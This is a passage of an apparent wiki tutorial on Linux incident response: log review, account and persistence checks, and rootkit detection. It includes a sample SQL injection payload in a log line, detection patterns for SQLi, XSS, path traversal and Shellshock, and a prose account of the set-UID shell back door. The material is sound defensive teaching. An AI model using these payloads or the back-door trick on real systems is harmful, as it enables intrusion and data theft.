# did any of them ever get in?&lt;br /&gt;
sudo grep &amp;quot;Accepted&amp;quot; /var/log/auth.log&lt;br /&gt;
&lt;br /&gt;
# every event involving one address, in order&lt;br /&gt;
sudo grep -E &amp;quot;Failed|Accepted&amp;quot; /var/log/auth.log | grep 198.51.100.7&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Example output (addresses here are from the reserved documentation ranges, not real hosts):&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;text&amp;quot;&amp;gt;&lt;br /&gt;
Sep 10 13:58:01 web sshd[911]: Failed password for root from 198.51.100.7 port 51522 ssh2&lt;br /&gt;
Sep 10 13:58:03 web sshd[911]: Failed password for invalid user admin from 198.51.100.7 port 51530 ssh2&lt;br /&gt;
Sep 10 13:58:09 web sshd[917]: Failed password for root from 198.51.100.7 port 51544 ssh2&lt;br /&gt;
Sep 10 13:59:40 web sshd[930]: Accepted password for deploy from 198.51.100.7 port 51601 ssh2&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
The pattern to worry about is &#039;&#039;&#039;many failures, then a success, from the same address&#039;&#039;&#039;, especially for an account that should never log in from that place. Confirm with the login records:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
last -aiF | head -20               # recent logins with full timestamps and source IPs&lt;br /&gt;
sudo lastb -aiF | head -20         # recent failed logins&lt;br /&gt;
lastlog | grep -v &amp;quot;Never logged in&amp;quot;&lt;br /&gt;
journalctl -u ssh --since &amp;quot;2026-09-10&amp;quot; -g &amp;quot;Accepted&amp;quot;   # the unit is &amp;quot;sshd&amp;quot; on RHEL-family systems&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Be aware that these records are easy to lose: &amp;lt;code&amp;gt;wtmp&amp;lt;/code&amp;gt; is often rotated (truncated) weekly or monthly, &amp;lt;code&amp;gt;btmp&amp;lt;/code&amp;gt; may not be kept at all because failed logins can contain mistyped passwords, and &amp;lt;code&amp;gt;lastlog&amp;lt;/code&amp;gt;&#039;s format varies between systems.&lt;br /&gt;
&lt;br /&gt;
Success by public key leaves a different line (&amp;lt;code&amp;gt;Accepted publickey for ...&amp;lt;/code&amp;gt;). If you see one for a key you do not recognize, go straight to [[#Step 4: Persistence|persistence]] and check &amp;lt;code&amp;gt;authorized_keys&amp;lt;/code&amp;gt;.&lt;br /&gt;
&lt;br /&gt;
=== Web applications ===&lt;br /&gt;
&lt;br /&gt;
Web server access logs record one line per request. In the common &amp;quot;combined&amp;quot; format the fields are: client address, timestamp, request line, status code, response size in bytes, referrer and User-Agent.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;text&amp;quot;&amp;gt;&lt;br /&gt;
198.51.100.9 - - [10/Sep/2026:14:03:01 +0000] &amp;quot;GET /item.php?id=1%27%20UNION%20SELECT%20user,pass%20FROM%20users--%20- HTTP/1.1&amp;quot; 500 1024 &amp;quot;-&amp;quot; &amp;quot;sqlmap/1.7&amp;quot;&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Start with an overview, and then zoom in on one address:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
LOG=/var/log/apache2/access.log     # /var/log/nginx/access.log, or /var/log/httpd/access_log&lt;br /&gt;
&lt;br /&gt;
awk &#039;{print $1}&#039; $LOG | sort | uniq -c | sort -nr | head     # busiest clients&lt;br /&gt;
awk &#039;{print $9}&#039; $LOG | sort | uniq -c | sort -nr            # status code counts&lt;br /&gt;
grep &#039;^198.51.100.9 &#039; $LOG                                   # everything one client did&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Attackers usually send their payload URL-encoded (&amp;lt;code&amp;gt;%27&amp;lt;/code&amp;gt; is &amp;lt;code&amp;gt;&#039;&amp;lt;/code&amp;gt;, &amp;lt;code&amp;gt;%20&amp;lt;/code&amp;gt; is a space). Decode the lines you are reading:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
grep &#039;^198.51.100.9 &#039; $LOG | python3 -c &#039;import sys,urllib.parse as u; [print(u.unquote(l),end=&amp;quot;&amp;quot;) for l in sys.stdin]&#039;&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
(A plain &amp;lt;code&amp;gt;+&amp;lt;/code&amp;gt; in a query string can also mean a space; &amp;lt;code&amp;gt;unquote&amp;lt;/code&amp;gt; leaves it alone so timestamps such as &amp;lt;code&amp;gt;+0000&amp;lt;/code&amp;gt; stay readable.)&lt;br /&gt;
&lt;br /&gt;
==== What common web attacks look like in the log ====&lt;br /&gt;
&lt;br /&gt;
{| class=&amp;quot;wikitable&amp;quot;&lt;br /&gt;
! Attack !! What to look for in the request !! Notes&lt;br /&gt;
|-&lt;br /&gt;
| SQL injection || &amp;lt;code&amp;gt;&#039;&amp;lt;/code&amp;gt; or &amp;lt;code&amp;gt;%27&amp;lt;/code&amp;gt;, &amp;lt;code&amp;gt;UNION SELECT&amp;lt;/code&amp;gt;, &amp;lt;code&amp;gt;OR 1=1&amp;lt;/code&amp;gt;, &amp;lt;code&amp;gt;--&amp;lt;/code&amp;gt;, or an automated-tool User-Agent such as &amp;lt;code&amp;gt;sqlmap&amp;lt;/code&amp;gt; || A burst of &amp;lt;code&amp;gt;500&amp;lt;/code&amp;gt; errors from one client while it probes is typical. A later run of &amp;lt;code&amp;gt;200&amp;lt;/code&amp;gt; responses with unusually large sizes can mean data came back.&lt;br /&gt;
|-&lt;br /&gt;
| Cross-site scripting (XSS) || &amp;lt;code&amp;gt;&amp;amp;lt;script&amp;amp;gt;&amp;lt;/code&amp;gt; or &amp;lt;code&amp;gt;%3Cscript&amp;lt;/code&amp;gt;, &amp;lt;code&amp;gt;onerror=&amp;lt;/code&amp;gt;, &amp;lt;code&amp;gt;javascript:&amp;lt;/code&amp;gt; || Reflected XSS shows in the URL. Stored XSS is usually submitted in a POST body, which is not logged (see below).&lt;br /&gt;
|-&lt;br /&gt;
| Path traversal / file inclusion || &amp;lt;code&amp;gt;../&amp;lt;/code&amp;gt;, &amp;lt;code&amp;gt;..%2f&amp;lt;/code&amp;gt;, &amp;lt;code&amp;gt;%2e%2e&amp;lt;/code&amp;gt;, or a path like &amp;lt;code&amp;gt;/etc/passwd&amp;lt;/code&amp;gt; in a parameter || A &amp;lt;code&amp;gt;200&amp;lt;/code&amp;gt; with a plausible response size means the file may have been returned.&lt;br /&gt;
|-&lt;br /&gt;
| Command injection || Shell metacharacters (&amp;lt;code&amp;gt;;&amp;lt;/code&amp;gt;, &amp;lt;code&amp;gt;%3B&amp;lt;/code&amp;gt;, backticks, &amp;lt;code&amp;gt;$(&amp;lt;/code&amp;gt;) followed by commands like &amp;lt;code&amp;gt;wget&amp;lt;/code&amp;gt;, &amp;lt;code&amp;gt;curl&amp;lt;/code&amp;gt; or &amp;lt;code&amp;gt;/bin/sh&amp;lt;/code&amp;gt; || Confirm with the process tree: did the web server user spawn anything?&lt;br /&gt;
|-&lt;br /&gt;
| Shellshock (CVE-2014-6271) || &amp;lt;code&amp;gt;() {&amp;lt;/code&amp;gt; at the start of a header value, usually User-Agent, against a &amp;lt;code&amp;gt;/cgi-bin/&amp;lt;/code&amp;gt; script || Old and long patched, but a good example: the attack rides in a header, not the URL.&lt;br /&gt;
|-&lt;br /&gt;
| Web shell upload || A POST to an upload form, then GET requests to a brand-new &amp;lt;code&amp;gt;.php&amp;lt;/code&amp;gt; file in the upload directory || Look for files the application should not have created.&lt;br /&gt;
|-&lt;br /&gt;
| Scanning and reconnaissance || Many &amp;lt;code&amp;gt;404&amp;lt;/code&amp;gt;s, requests for &amp;lt;code&amp;gt;/.env&amp;lt;/code&amp;gt;, &amp;lt;code&amp;gt;/wp-login.php&amp;lt;/code&amp;gt;, &amp;lt;code&amp;gt;/phpmyadmin&amp;lt;/code&amp;gt;, or scanner User-Agents || Common and usually harmless on its own; it tells you who was looking, not who got in.&lt;br /&gt;
|}&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# starting-point searches (expect some false positives; refine them as much as you can before you start trustung their results)&lt;br /&gt;
grep -iE &amp;quot;union.{1,10}select|sqlmap|%27&amp;quot; $LOG            # SQL injection&lt;br /&gt;
grep -iE &amp;quot;&amp;lt;script|%3Cscript|onerror=&amp;quot; $LOG               # XSS&lt;br /&gt;
grep -E &amp;quot;\.\./|%2e%2e|/etc/passwd&amp;quot; $LOG                   # path traversal&lt;br /&gt;
grep -E &#039;\(\) *\{&#039; $LOG                                   # Shellshock-style header&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Important limits of access logs.&#039;&#039;&#039; The server does not log &#039;&#039;&#039;POST bodies&#039;&#039;&#039; or, by default, most headers other than User-Agent and Referer. An injection sent by POST leaves only a bare &amp;lt;code&amp;gt;POST /login&amp;lt;/code&amp;gt; line. To see those attacks you need application logs, database query logs, or a web application firewall (for example ModSecurity) that records rejected requests. Also, a &amp;lt;code&amp;gt;200&amp;lt;/code&amp;gt; status only means the request was served, not that the attack worked, and a &amp;lt;code&amp;gt;500&amp;lt;/code&amp;gt; does not mean it failed.&lt;br /&gt;
&lt;br /&gt;
==== From a request to a compromise ====&lt;br /&gt;
&lt;br /&gt;
A logged attack request proves that someone &#039;&#039;tried&#039;&#039; to attack. To decide whether it &#039;&#039;worked&#039;&#039;, follow it into the rest of the system:&lt;br /&gt;
&lt;br /&gt;
* Did a process appear in the tree, owned by the web server user (&amp;lt;code&amp;gt;www-data&amp;lt;/code&amp;gt;, &amp;lt;code&amp;gt;apache&amp;lt;/code&amp;gt;, &amp;lt;code&amp;gt;nginx&amp;lt;/code&amp;gt;), just after the request timestamp?&lt;br /&gt;
* Is that process holding a network connection to an address that is not one of your users or dependencies?&lt;br /&gt;
* Are there new or modified files in the web root, &amp;lt;code&amp;gt;/tmp&amp;lt;/code&amp;gt;, &amp;lt;code&amp;gt;/var/tmp&amp;lt;/code&amp;gt; or &amp;lt;code&amp;gt;/dev/shm&amp;lt;/code&amp;gt; from about the same time?&lt;br /&gt;
* Did the same client address go on to do anything else (a second request type, a login)?&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# files in the web root changed in the last 2 days&lt;br /&gt;
sudo find /var/www -type f -mtime -2 -ls&lt;br /&gt;
&lt;br /&gt;
# PHP files that call functions commonly used by web shells (often noisy)&lt;br /&gt;
sudo grep -RIlE &amp;quot;(eval|assert|system|passthru|shell_exec|proc_open)[[:space:]]*\(&amp;quot; /var/www --include=*.php&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Step 3: What did they do? ==&lt;br /&gt;
&lt;br /&gt;
=== Privilege escalation and account activity ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
sudo grep -E &amp;quot;sudo:|su\[|su:&amp;quot; /var/log/auth.log | grep -E &amp;quot;COMMAND=|session opened&amp;quot;   # who ran what as root&lt;br /&gt;
sudo grep -E &amp;quot;useradd|usermod|groupadd|passwd\[&amp;quot; /var/log/auth.log                     # account changes&lt;br /&gt;
awk -F: &#039;$3==0 {print $1}&#039; /etc/passwd            # accounts with UID 0 should be only &amp;quot;root&amp;quot;&lt;br /&gt;
sudo awk -F: &#039;$2==&amp;quot;&amp;quot; {print $1}&#039; /etc/shadow      # accounts with an empty password&lt;br /&gt;
grep -vE &#039;(nologin|false)$&#039; /etc/passwd           # accounts that can log in interactively&lt;br /&gt;
ls -l /etc/sudoers.d/; sudo grep -rvE &#039;^\s*(#|$)&#039; /etc/sudoers /etc/sudoers.d/&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
A second UID-0 account, or a regular user suddenly present in &amp;lt;code&amp;gt;sudoers&amp;lt;/code&amp;gt;, is a strong indicator. Attackers who want to blend in often reuse existing accounts rather than create obvious new ones, so also check that service accounts (such as &amp;lt;code&amp;gt;www-data&amp;lt;/code&amp;gt; or &amp;lt;code&amp;gt;mysql&amp;lt;/code&amp;gt;) still have a non-login shell and no usable password hash in &amp;lt;code&amp;gt;/etc/shadow&amp;lt;/code&amp;gt;, and that nobody has been quietly added to a privileged group in &amp;lt;code&amp;gt;/etc/group&amp;lt;/code&amp;gt;.&lt;br /&gt;
&lt;br /&gt;
=== Command history ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
sudo sh -c &#039;ls -l /root/.bash_history /home/*/.bash_history&#039;   # empty? a symlink to /dev/null? recently truncated?&lt;br /&gt;
sudo sh -c &#039;cat /root/.bash_history /home/*/.bash_history&#039;&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
What to keep in mind about &amp;lt;code&amp;gt;.bash_history&amp;lt;/code&amp;gt;:&lt;br /&gt;
&lt;br /&gt;
* Bash writes history when a shell exits, so a session that is still open, or that was killed, may not be recorded yet. On a live system the missing commands are only in memory (see the &amp;lt;code&amp;gt;bash&amp;lt;/code&amp;gt; plugin in [[#Going deeper: memory analysis with Volatility 3|the Volatility section]]).&lt;br /&gt;
* It has &#039;&#039;&#039;no timestamps&#039;&#039;&#039; by default (unless &amp;lt;code&amp;gt;HISTTIMEFORMAT&amp;lt;/code&amp;gt; was set). To date a command, match it with other evidence:a log line, a file&#039;s timestamp, or a process start time. For example, a &amp;lt;code&amp;gt;useradd&amp;lt;/code&amp;gt; in the history can be tied to the log entry for the new account and the modification time of &amp;lt;code&amp;gt;/etc/passwd&amp;lt;/code&amp;gt;.&lt;br /&gt;
* It is a plain text file. Attackers can edit or delete it, clear it (&amp;lt;code&amp;gt;history -c&amp;lt;/code&amp;gt;), unset &amp;lt;code&amp;gt;HISTFILE&amp;lt;/code&amp;gt;, or link it to &amp;lt;code&amp;gt;/dev/null&amp;lt;/code&amp;gt;. Older copies sometimes survive in the disk&#039;s unallocated space, so searching a disk image for typical command strings can recover deleted history.&lt;br /&gt;
* An &#039;&#039;empty or missing&#039;&#039; history on an account that is otherwise active is itself worth noting.&lt;br /&gt;
&lt;br /&gt;
=== Other traces users leave behind ===&lt;br /&gt;
&lt;br /&gt;
Interactive use of a Linux system leaves small traces in the user&#039;s home directory. Individually minor, they often fill in the story:&lt;br /&gt;
&lt;br /&gt;
{| class=&amp;quot;wikitable&amp;quot;&lt;br /&gt;
! File (in the user&#039;s home directory) !! What it can show&lt;br /&gt;
|-&lt;br /&gt;
| &amp;lt;code&amp;gt;.ssh/authorized_keys&amp;lt;/code&amp;gt; || Keys that can log in &#039;&#039;to&#039;&#039; this account. Any key you do not recognize is a possible back door.&lt;br /&gt;
|-&lt;br /&gt;
| &amp;lt;code&amp;gt;.ssh/known_hosts&amp;lt;/code&amp;gt; || Machines this user connected &#039;&#039;out to&#039;&#039; over SSH. It shows an SSH connection was made, not that the login succeeded. Entries can be hashed, hiding the addresses.&lt;br /&gt;
|-&lt;br /&gt;
| &amp;lt;code&amp;gt;.ssh/config&amp;lt;/code&amp;gt; || Shortcuts, user names and jump hosts the user set up, which can reveal other systems they reach.&lt;br /&gt;
|-&lt;br /&gt;
| &amp;lt;code&amp;gt;.lesshst&amp;lt;/code&amp;gt; || Search terms typed into the &amp;lt;code&amp;gt;less&amp;lt;/code&amp;gt; pager, and commands run from inside it.&lt;br /&gt;
|-&lt;br /&gt;
| &amp;lt;code&amp;gt;.viminfo&amp;lt;/code&amp;gt; || Files recently edited in &amp;lt;code&amp;gt;vim&amp;lt;/code&amp;gt; (with the position in each), plus its search and command history.&lt;br /&gt;
|-&lt;br /&gt;
| &amp;lt;code&amp;gt;.local/share/recently-used.xbel&amp;lt;/code&amp;gt; || Files opened through the desktop file manager, with timestamps (only on systems with a desktop).&lt;br /&gt;
|-&lt;br /&gt;
| &amp;lt;code&amp;gt;.local/share/Trash/&amp;lt;/code&amp;gt; || Files deleted through the desktop; the &amp;lt;code&amp;gt;info/&amp;lt;/code&amp;gt; folder records where each came from.&lt;br /&gt;
|-&lt;br /&gt;
| Browser profiles (Firefox, Chromium) || Browsing, downloads and saved sessions on desktop systems.&lt;br /&gt;
|}&lt;br /&gt;
&lt;br /&gt;
=== The audit framework ===&lt;br /&gt;
&lt;br /&gt;
If &amp;lt;code&amp;gt;auditd&amp;lt;/code&amp;gt; is installed and configured, it is the best source for &amp;quot;who ran what.&amp;quot; For example, with a rule that watches account files:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# in /etc/audit/rules.d/identity.rules&lt;br /&gt;
-w /etc/passwd -p wa -k identity&lt;br /&gt;
-w /etc/shadow -p wa -k identity&lt;br /&gt;
&lt;br /&gt;
# later, when investigating&lt;br /&gt;
sudo ausearch -k identity -i         # events that matched the rule, human-readable&lt;br /&gt;
sudo aureport -au                    # authentication summary&lt;br /&gt;
&lt;br /&gt;
# the same tools can read logs copied off a machine or mounted from an image&lt;br /&gt;
sudo ausearch --if /mnt/data/var/log/audit -i -c useradd&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
If keystroke (TTY) auditing was enabled, &amp;lt;code&amp;gt;aureport --tty&amp;lt;/code&amp;gt; can show what was typed. Auditing has to be set up &#039;&#039;before&#039;&#039; the incident; it cannot reconstruct events that were never recorded.&lt;br /&gt;
&lt;br /&gt;
== Step 4: Persistence ==&lt;br /&gt;
&lt;br /&gt;
Attackers who got in once want to be able to get back in. Some do not bother (opportunistic cryptocurrency miners are sometimes dropped with no persistence at all), but many do. Check every place a program can be made to start again on its own:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;# scheduled tasks&lt;br /&gt;
cat /etc/crontab; ls -la /etc/cron.d /etc/cron.hourly /etc/cron.daily&lt;br /&gt;
sudo ls -la /var/spool/cron/crontabs/          # /var/spool/cron/ on RHEL family&lt;br /&gt;
sudo ls -la /var/spool/cron/atjobs/ 2&amp;gt;/dev/null   # one-time &amp;quot;at&amp;quot; jobs (Debian/Ubuntu)&lt;br /&gt;
systemctl list-timers --all&lt;br /&gt;
&lt;br /&gt;
# services and units&lt;br /&gt;
systemctl list-unit-files --state=enabled&lt;br /&gt;
sudo find /etc/systemd /usr/lib/systemd -type f -newermt &amp;quot;2026-09-01&amp;quot;&lt;br /&gt;
ls -la ~/.config/systemd/user 2&amp;gt;/dev/null&lt;br /&gt;
&lt;br /&gt;
# SSH keys (any key listed here can log in as that user with no password)&lt;br /&gt;
sudo find / -xdev -name authorized_keys -exec ls -l {} \;&lt;br /&gt;
sudo sh -c &#039;cat /root/.ssh/authorized_keys /home/*/.ssh/authorized_keys&#039; 2&amp;gt;/dev/null&lt;br /&gt;
&lt;br /&gt;
# shell start-up files that run at every login&lt;br /&gt;
ls -la /etc/profile.d/ ~/.bashrc ~/.profile /root/.bashrc&lt;br /&gt;
&lt;br /&gt;
# programs injected into every process (normally this file is absent or empty)&lt;br /&gt;
cat /etc/ld.so.preload 2&amp;gt;/dev/null&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Older systems use init scripts under &amp;lt;code&amp;gt;/etc/init*&amp;lt;/code&amp;gt; instead of (or as well as) systemd. And remember that an attacker who wants to be less obvious may leave the cron entry or service unit alone and instead modify a &#039;&#039;&#039;script that a legitimate task already runs&#039;&#039;&#039;. Look at what your scheduled tasks and services actually execute, not only at their configuration.&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Back doors beyond start-up entries:&#039;&#039;&#039; a web shell in the web root; a replacement &amp;lt;code&amp;gt;sshd&amp;lt;/code&amp;gt; with a built-in password; an extra UID 0 account; a service account given a password; an added &amp;lt;code&amp;gt;authorized_keys&amp;lt;/code&amp;gt; line; a broadened &amp;lt;code&amp;gt;sudoers&amp;lt;/code&amp;gt; entry; and the set-UID trick below.&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Set-UID/set-GID programs.&#039;&#039;&#039; A program with the set-UID bit runs with its &#039;&#039;owner&#039;s&#039;&#039; privileges rather than the user&#039;s (this is how &amp;lt;code&amp;gt;passwd&amp;lt;/code&amp;gt; can update &amp;lt;code&amp;gt;/etc/shadow&amp;lt;/code&amp;gt;). An attacker with root can copy a shell, turn on the set-UID bit and leave it somewhere quiet; anyone who can run it (with &amp;lt;code&amp;gt;-p&amp;lt;/code&amp;gt;, so it does not drop its privileges) is root again.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# set-UID / set-GID programs anywhere outside /usr (there should be very few)&lt;br /&gt;
sudo find / \( -path /proc -o -path /sys \) -prune -o -type f \( -perm -4000 -o -perm -2000 \) ! -path &#039;/usr/*&#039; -ls 2&amp;gt;/dev/null&lt;br /&gt;
&lt;br /&gt;
# the full list of set-UID programs&lt;br /&gt;
sudo find / -xdev -perm -4000 -type f 2&amp;gt;/dev/null&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Compare the full list against a clean machine of the same OS, the same baseline-and-&amp;lt;code&amp;gt;diff&amp;lt;/code&amp;gt; technique used on [[Intermediate Service Auditing]]. Also revisit [[#Where attackers stage files|where attackers stage files]]: names that imitate system files but sit in the wrong place, executables in &amp;lt;code&amp;gt;/tmp&amp;lt;/code&amp;gt;, &amp;lt;code&amp;gt;/var/tmp&amp;lt;/code&amp;gt; or &amp;lt;code&amp;gt;/dev/shm&amp;lt;/code&amp;gt;, and dot-prefixed directories under &amp;lt;code&amp;gt;/usr&amp;lt;/code&amp;gt;, &amp;lt;code&amp;gt;/var&amp;lt;/code&amp;gt; or &amp;lt;code&amp;gt;/dev&amp;lt;/code&amp;gt; are all worth a closer look.&lt;br /&gt;
&lt;br /&gt;
=== A post-exploitation checklist ===&lt;br /&gt;
&lt;br /&gt;
{| class=&amp;quot;wikitable&amp;quot;&lt;br /&gt;
! Check !! How&lt;br /&gt;
|-&lt;br /&gt;
| New or unexpected SSH keys || Read every &amp;lt;code&amp;gt;authorized_keys&amp;lt;/code&amp;gt;. If you find one, search your other machines for the same key.&lt;br /&gt;
|-&lt;br /&gt;
| Unexpected group members || Compare &amp;lt;code&amp;gt;/etc/group&amp;lt;/code&amp;gt; against what you expect, especially groups named in &amp;lt;code&amp;gt;sudoers&amp;lt;/code&amp;gt;.&lt;br /&gt;
|-&lt;br /&gt;
| Unlocked service accounts || Service accounts should have &amp;lt;code&amp;gt;nologin&amp;lt;/code&amp;gt; (or &amp;lt;code&amp;gt;false&amp;lt;/code&amp;gt;) as their shell and no valid password hash in &amp;lt;code&amp;gt;/etc/shadow&amp;lt;/code&amp;gt;.&lt;br /&gt;
|-&lt;br /&gt;
| Extra UID 0 accounts || &amp;lt;code&amp;gt;awk -F: &#039;$3==0&#039; /etc/passwd&amp;lt;/code&amp;gt;&lt;br /&gt;
|-&lt;br /&gt;
| Edited sudo rules || Read &amp;lt;code&amp;gt;/etc/sudoers&amp;lt;/code&amp;gt; and &amp;lt;code&amp;gt;/etc/sudoers.d/&amp;lt;/code&amp;gt; directly.&lt;br /&gt;
|-&lt;br /&gt;
| Unauthorized set-UID bits || The &amp;lt;code&amp;gt;find&amp;lt;/code&amp;gt; commands above.&lt;br /&gt;
|}&lt;br /&gt;
&lt;br /&gt;
== Step 5: Rootkits and tampering ==&lt;br /&gt;
&lt;br /&gt;
A &#039;&#039;&#039;rootkit&#039;&#039;&#039; is malware built to hide itself and the attacker&#039;s other activity. Two kinds are common on Linux:&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;User-space (library preload) rootkits&#039;&#039;&#039; install a malicious shared library and make every program load it (through &amp;lt;code&amp;gt;/etc/ld.so.preload&amp;lt;/code&amp;gt; or the &amp;lt;code&amp;gt;LD_PRELOAD&amp;lt;/code&amp;gt; variable), so that &amp;lt;code&amp;gt;ls&amp;lt;/code&amp;gt;, &amp;lt;code&amp;gt;ps&amp;lt;/code&amp;gt;, &amp;lt;code&amp;gt;ss&amp;lt;/code&amp;gt; and friends quietly leave out the attacker&#039;s files, processes and connections. Older rootkits simply replaced those programs.&lt;br /&gt;
* &#039;&#039;&#039;Kernel-module (LKM) rootkits&#039;&#039;&#039; load a malicious kernel module that intercepts system calls (for example the ones that list directories or send signals) and can hide from the operating system itself. Older families such as t0rn hid their files in look-alike, dot-prefixed directories (for example under &amp;lt;code&amp;gt;/usr/src&amp;lt;/code&amp;gt;) and included a helper that scrubbed matching lines from log files, but the ideas are the same today.&lt;br /&gt;
&lt;br /&gt;
=== Signs something is being hidden ===&lt;br /&gt;
&lt;br /&gt;
* Basic tools misbehave, disagree with each other, or stop working (&amp;lt;code&amp;gt;ls&amp;lt;/code&amp;gt; or &amp;lt;code&amp;gt;ps&amp;lt;/code&amp;gt; failing on an otherwise healthy system).&lt;br /&gt;
* A listening port shows in a port scan from another machine but not in &amp;lt;code&amp;gt;ss&amp;lt;/code&amp;gt; on the host.&lt;br /&gt;
* Disk usage that does not add up, or CPU usage with no process to explain it.&lt;br /&gt;
* Logs with unexplained gaps, zero-length files (&amp;lt;code&amp;gt;/var/log/wtmp&amp;lt;/code&amp;gt;, &amp;lt;code&amp;gt;btmp&amp;lt;/code&amp;gt;) or timestamps that jump backwards.&lt;br /&gt;
* A &amp;quot;tainted&amp;quot; kernel: &amp;lt;code&amp;gt;cat /proc/sys/kernel/tainted&amp;lt;/code&amp;gt; is non-zero. Legitimate causes exist (proprietary or out-of-tree drivers), so treat it as a reason to ask &amp;quot;which module?&amp;quot;,  it is not necessarily a verdict.&lt;br /&gt;
&lt;br /&gt;
=== Detection tools ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
sudo apt install rkhunter chkrootkit       # or dnf install on RHEL-family (EPEL)&lt;br /&gt;
sudo rkhunter --check --sk --rwo           # run all checks; skip keypress prompts; report warnings only&lt;br /&gt;
sudo chkrootkit&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;code&amp;gt;rkhunter&amp;lt;/code&amp;gt; and &amp;lt;code&amp;gt;chkrootkit&amp;lt;/code&amp;gt; compare the system against known signatures and known-bad file locations and look for suspicious changes. Findings are logged (for rkhunter, in &amp;lt;code&amp;gt;/var/log/rkhunter.log&amp;lt;/code&amp;gt;). They are a quick extra check, however they are not the main method. Treat their output as leads from which to begin searches:&lt;br /&gt;
&lt;br /&gt;
* They are &#039;&#039;&#039;signature-based&#039;&#039;&#039;: they recognize rootkits they already know about, so a clean report says little about new or custom tools (false negatives), and a warning does not prove a rootkit (false positives). &amp;lt;code&amp;gt;chkrootkit&amp;lt;/code&amp;gt; in particular sees little development, and many investigators no longer rely on it.&lt;br /&gt;
* They run &#039;&#039;on&#039;&#039; the suspect system. Against a kernel-level rootkit, the tool is being lied to as well. Where it matters, examine the disk from trusted boot media or a copy of the disk image, and analyze memory from outside the machine (see [[#Going deeper: memory analysis with Volatility 3|Volatility]]).&lt;br /&gt;
* &amp;lt;code&amp;gt;rkhunter&amp;lt;/code&amp;gt; is much more useful if you run &amp;lt;code&amp;gt;sudo rkhunter --propupd&amp;lt;/code&amp;gt; on a known-clean system first, so later runs can detect changed files.&lt;br /&gt;
&lt;br /&gt;
=== Verify installed files against the package manager ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
sudo apt install debsums &amp;amp;&amp;amp; sudo debsums -c      # Debian/Ubuntu: list installed files whose checksum changed&lt;br /&gt;
sudo rpm -Va                                      # RHEL family: verify all packages&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
A modified &amp;lt;code&amp;gt;/bin/ls&amp;lt;/code&amp;gt;, &amp;lt;code&amp;gt;/usr/bin/ps&amp;lt;/code&amp;gt; or &amp;lt;code&amp;gt;sshd&amp;lt;/code&amp;gt; that does not match its package is a serious finding. (Configuration files legitimately differ, and a determined attacker can also tamper with the package database, so this is one more piece of evidence, not proof.)&lt;br /&gt;
&lt;br /&gt;
=== Cross-checking tools against each other ===&lt;br /&gt;
&lt;br /&gt;
Because a rootkit typically fools some tools but not others, disagreement is informative:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
echo /usr/src/.*                  # the shell&#039;s own glob expansion; does it show entries ls hides?&lt;br /&gt;
ls /proc | grep -E &#039;^[0-9]+$&#039; | wc -l ; ps -e --no-headers | wc -l     # process count via /proc vs via ps&lt;br /&gt;
